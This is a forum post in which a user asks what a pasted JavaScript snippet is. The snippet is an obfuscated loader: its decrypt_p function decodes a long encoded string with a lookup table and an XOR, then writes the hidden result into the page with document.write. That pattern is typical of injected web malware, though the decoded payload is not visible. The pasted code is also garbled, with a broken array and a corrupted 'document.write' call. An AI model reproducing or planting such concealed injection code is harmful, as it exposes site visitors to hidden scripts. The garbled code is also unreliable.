What is this code?, I got a code but i dont know what it is Options

[Chreal]

<script language=JavaScript>function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,32,62,53,14,54,51,4,59,29,0,0,0,0
0,0,22,3,8,2,40,28,39,20,19,55,60,52,31,30,15,11,38,37,25,16,9,6,41,10,23,58,26,
,0,0,0,21,0,36,18,42,44,5,12,57,45,13,47,48,49,33,50,34,35,24,7,0,27,46,56,61,1,
7,43);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write®}}decrypt_p("ePRKXjTcjPRKxXDlWFd3_HJnqMgPD2ZP_XDlTHd3@pgn7NwPLikx6EKRcq3toYzRU3toYzRU9ke
dnTt937jfPXuTcjP4lEzfKyXvlEXqP7Xq6XAJkqMq6yr93LcDobOhKO5ilOOflOZdnBzq6sLwlzd6sjE
sHJ3yLvPRcBlt@BlyFglXjTcjPVlsjEKsLwPRbEmiLikApgmir9K_0VoWWhKbjqI7jdk7jDlWpdoiAJ3
Lhn4AJniAflXrwmtPT6BOEm@LhlqMq6yr93LcDo4HJnx6h6fth3O5ilOOflOjDlWpdo9HJnCHdorA9Ky
Jn@zBk_AgoC6Jkr@vlWL9ksLiP_uRPWbJPRcDlsjEKsLwPD2ZPWU9ktoYzRcqKXjTcjPVoyHJlTAJP")</script>